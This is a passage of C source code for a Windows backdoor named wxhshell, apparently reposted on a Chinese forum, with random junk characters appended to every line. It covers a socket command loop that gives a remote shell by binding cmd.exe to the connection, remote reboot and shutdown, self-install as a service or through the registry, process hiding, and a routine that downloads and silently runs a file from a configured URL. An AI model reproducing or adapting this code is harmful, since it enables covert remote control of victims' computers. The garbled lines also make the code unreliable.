  } }OI;M^5L  
  else {  s4;SA  
q3T'rw%Eh  
    switch(cmd[0]) { ?5'UrqYSW  
  <bXfjj6YJ@  
  // 帮助 "1&C\}.7  
  case '?': { #]:yCiA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U|u v SJ)X  
    break; zvdtP'&uj  
  } ~( -B%Az  
  // 安装 rh${pHl  
  case 'i': { vov"60K  
    if(Install()) $eX; 2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4tCyd5u a8  
    else 7>wSbAR<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6Ei>VcN4a  
    break; E >KV1P  
    } IBQmm(+v  
  // 卸载 Ts|&_|  
  case 'r': { B:&/*HU  
    if(Uninstall()) H;G*tje/M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K) sO  
    else (3%NudkwT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \.9-:\'(  
    break; %z`bu2  
    } )<1M'2  
  // 显示 wxhshell 所在路径 ] 5YG*sD4  
  case 'p': { lk%rE  
    char svExeFile[MAX_PATH]; 3vHEPm]  
    strcpy(svExeFile,"\n\r"); IM}#k$vM:  
      strcat(svExeFile,ExeFile); J ;i/X;^  
        send(wsh,svExeFile,strlen(svExeFile),0); `+\ +  
    break; +<"sC+2  
    } oslrv7EK  
  // 重启 IpB0~`7YI  
  case 'b': { |mc!v*O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y2yVl+  
    if(Boot(REBOOT)) H^B/ '#mO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hoO8s#0ED  
    else { $0AN5 |`g\  
    closesocket(wsh); i 0L)hkV  
    ExitThread(0); ;I:jd")  
    } v /G,  
    break; nr! kx)j  
    } G3OqRH  
  // 关机 7 H.2]X  
  case 'd': { 'X<R)E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0KHA5dt  
    if(Boot(SHUTDOWN)) [9Q2/V;Uk%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &f|LjpMCf  
    else { kZ[E493bV  
    closesocket(wsh); Xi6XV3G  
    ExitThread(0); |bO}|X  
    } S$=])^dur  
    break; QApil  
    } ]p `#KVW  
  // 获取shell =eDVgOZ)  
  case 's': { ql2>C.k3L  
    CmdShell(wsh); 2Af1-z^^K  
    closesocket(wsh); 3EI$tP@4  
    ExitThread(0); wg<DV!GZ  
    break; H`9E_[  
  } Wepa;  
  // 退出 W-<C%9O!  
  case 'x': { mKvk6OC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -Z-|49I/mN  
    CloseIt(wsh); a^@6hC>sr  
    break; SYw>P1  
    } |/Ggsfmby  
  // 离开 f]qP xRw  
  case 'q': { {3i.U028]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); KWLI7fTgj$  
    closesocket(wsh); H CZ#7Z  
    WSACleanup(); Vge9AH:op  
    exit(1); jRm v~]  
    break; !eMz;GZ  
        } ry*b"SO  
  } 'Wn'BRXq3  
  } \@N8[  
Y#=0C*FS  
  // 提示信息 \uc]+nV!o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ev,>_1#Xm  
} VWj]X7v  
  } lSPQXu*[  
Xat>d>nJ]  
  return; yS0!#AG  
} X"z^4?Aj+  
K pDKIi  
// shell模块句柄 MD1n+FgTu  
int CmdShell(SOCKET sock) L09YA  
{ ||;V5iR:  
STARTUPINFO si; 0>6J -   
ZeroMemory(&si,sizeof(si)); @a'Rn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "iMuA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %d c=Q SL  
PROCESS_INFORMATION ProcessInfo; +g(>]!swb  
char cmdline[]="cmd"; [d`J2^z}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @>}!g9c  
  return 0; CCNrjaA  
} E].hoq7WiB  
Bk_23ygO_  
// 自身启动模式 j_H9l,V  
int StartFromService(void) )>QpR8 G-  
{ ^RAst1q7  
typedef struct <'>c`80@\*  
{  _/;vsQB  
  DWORD ExitStatus; =2F;'T\6  
  DWORD PebBaseAddress; zVKbM3(^  
  DWORD AffinityMask; _D1Uc|  
  DWORD BasePriority; 7?9QlUO  
  ULONG UniqueProcessId; >gRb.-{ux  
  ULONG InheritedFromUniqueProcessId; zR_ "  
}   PROCESS_BASIC_INFORMATION; s!:'3[7+  
$Ypt /`  
PROCNTQSIP NtQueryInformationProcess; A(V,qw8  
n`8BE9h^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J$F 1sy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; { 0RwjPYp  
CBN,~wzP*  
  HANDLE             hProcess; ,bzE`6  
  PROCESS_BASIC_INFORMATION pbi; <j,ZAA&5%Y  
y-6k<RN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *'H0%GM  
  if(NULL == hInst ) return 0; &b'IYoe  
J~Uq'1?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 97l<9^$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  Gf_Je   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !w2J*E\  
Q"7vzri  
  if (!NtQueryInformationProcess) return 0; Y&!-VW  
mhVdsa  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [1nfSW  
  if(!hProcess) return 0; O?L6Ues  
L{1MyR7`I+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q4=Gj`\43  
*eL&fC  
  CloseHandle(hProcess); @rI+.X  
"A\h+q-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @( p9}  
if(hProcess==NULL) return 0; 5,  "  
)-VpDW!%_  
HMODULE hMod; kn<IWW_t  
char procName[255]; {P')$f)  
unsigned long cbNeeded; G%ytp=N  
~8:q-m_h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dD YD6  
Y\75cfD  
  CloseHandle(hProcess); TS4Yzq,f  
lt08 E2p9  
if(strstr(procName,"services")) return 1; // 以服务启动 ^%ZbjJ7|j  
IJ\4S  
  return 0; // 注册表启动 ^x2zMB\t  
} NH9"89]E  
3MX&%_wUhB  
// 主模块 n x4:n@J  
int StartWxhshell(LPSTR lpCmdLine) {6Y|Z>  
{ V3D`pt\[x  
  SOCKET wsl; u+EZ"p;o  
BOOL val=TRUE; xnP@ h  
  int port=0; 3D 4-Wo4  
  struct sockaddr_in door; (%~^Kmfb0  
$ /`X7a{  
  if(wscfg.ws_autoins) Install(); 3fGL(5|_  
!aQb Kp  
port=atoi(lpCmdLine); AS4mJ UU9  
4}4cA\B:n  
if(port<=0) port=wscfg.ws_port; tE'^O< K  
#mKF)W  
  WSADATA data; sbv2*fno5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OFe-e(c1  
@*e5(@R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C(CwsdlP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Gb!R>WY  
  door.sin_family = AF_INET; 8ShIn@|32  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E<RPMd @a  
  door.sin_port = htons(port); fofYe0z  
,="hI:*<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aAKwC01?  
closesocket(wsl); )iX2r{  
return 1; U}T{r%9  
} moS0y?N  
QjOO^6Fh  
  if(listen(wsl,2) == INVALID_SOCKET) { QL]e<2oPJ  
closesocket(wsl); jQBL 8<  
return 1; H#Hhi<2  
} iX%9$Bft<  
  Wxhshell(wsl); :A7\eN5  
  WSACleanup(); dJv2tVm&'  
JAx0(MZO  
return 0; x52#md-Z  
Ty<."dyPW  
} &R5zt]4d&  
A=W:}szt]  
// 以NT服务方式启动 _mWVZ1P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]*?lgwE  
{ &&% oazR=  
DWORD   status = 0; 7F2 WmMS  
  DWORD   specificError = 0xfffffff; XEegUTs  
~+ kfb^<-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3iM7c.f*/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Vx z`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hT`fAn_  
  serviceStatus.dwWin32ExitCode     = 0; !mZDukfjQ  
  serviceStatus.dwServiceSpecificExitCode = 0; S86,m =  
  serviceStatus.dwCheckPoint       = 0; `L LS|S]  
  serviceStatus.dwWaitHint       = 0; \VpN:RI  
}7*|s+F(f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %rlMjF'tG  
  if (hServiceStatusHandle==0) return; (/7b8)g  
hCBre5  
status = GetLastError(); &%]v0QK  
  if (status!=NO_ERROR)  .0YcB  
{ a8$4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NX4G;+6  
    serviceStatus.dwCheckPoint       = 0; c=,HLHpFO(  
    serviceStatus.dwWaitHint       = 0; =MU(!`  
    serviceStatus.dwWin32ExitCode     = status; ]ur?i{S,  
    serviceStatus.dwServiceSpecificExitCode = specificError; {p.^E5&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vBzUuX  
    return; B"YN+So  
  } _h+7 KK  
[QFAkEJ--o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h0R.c|g[  
  serviceStatus.dwCheckPoint       = 0; <?nz>vz  
  serviceStatus.dwWaitHint       = 0; kXV;J$1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $Qz<:?D  
} |LW5dtQ  
H#i,Ve '  
// 处理NT服务事件,比如:启动、停止 C7O8B;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S B~opN  
{ zLgc j(;  
switch(fdwControl) ku4Gc6f#gG  
{ +e^ CL#Gs  
case SERVICE_CONTROL_STOP: E{0e5.{  
  serviceStatus.dwWin32ExitCode = 0; in K]+H]{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +BeA4d8b  
  serviceStatus.dwCheckPoint   = 0; DIABR%0  
  serviceStatus.dwWaitHint     = 0; &gJ1*"$9  
  { B(WmJ6e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;>uB$8<_7  
  } LC4VlfU  
  return; r?itd)WC<X  
case SERVICE_CONTROL_PAUSE: o}DR p4;Ka  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _dELVs7OL  
  break; Iprt ZqiL  
case SERVICE_CONTROL_CONTINUE: Nw9@E R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |}L=e.  
  break; ^&D5J\][  
case SERVICE_CONTROL_INTERROGATE: idB1%?<  
  break; i=L 86Ks  
}; p5jR;nOZ%l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !E&l=* lM.  
} F?$Vx)HI  
vf zC2  
// 标准应用程序主函数 j,Mbl"P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [[HCP8Wk   
{ B{b?j*fHJ  
O:sqm n  
// 获取操作系统版本 Q7<Y5+  
OsIsNt=GetOsVer(); X{Fr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o{>4PZ}=g  
aGBd~y@e  
  // 从命令行安装 1d~d1Rd  
  if(strpbrk(lpCmdLine,"iI")) Install(); je@&|9h  
(a0(ZOKH  
  // 下载执行文件 Mk~U/oq  
if(wscfg.ws_downexe) { e]nP7TIU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /Yb8= eM  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?%`Ph ?BZl  
} !KJA)znx;(  
Y(t /=3c[  
if(!OsIsNt) { }]H7uC!t   
// 如果时win9x,隐藏进程并且设置为注册表启动 TE;f*!  
HideProc(); Rz&`L8Bz  
StartWxhshell(lpCmdLine); Zr1"'+-  
} (u ^8=#  
else etT9}RbQ  
  if(StartFromService()) \?oT.z5VG&  
  // 以服务方式启动 k;jl3GV  
  StartServiceCtrlDispatcher(DispatchTable); yKuZJXGVo  
else CcW3o"=4  
  // 普通方式启动 A +=#  
  StartWxhshell(lpCmdLine); VH4wsEH]  
i3mw.`7  
return 0; _YG@P1  
}
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只看该作者 1 发表于: 2006-10-10
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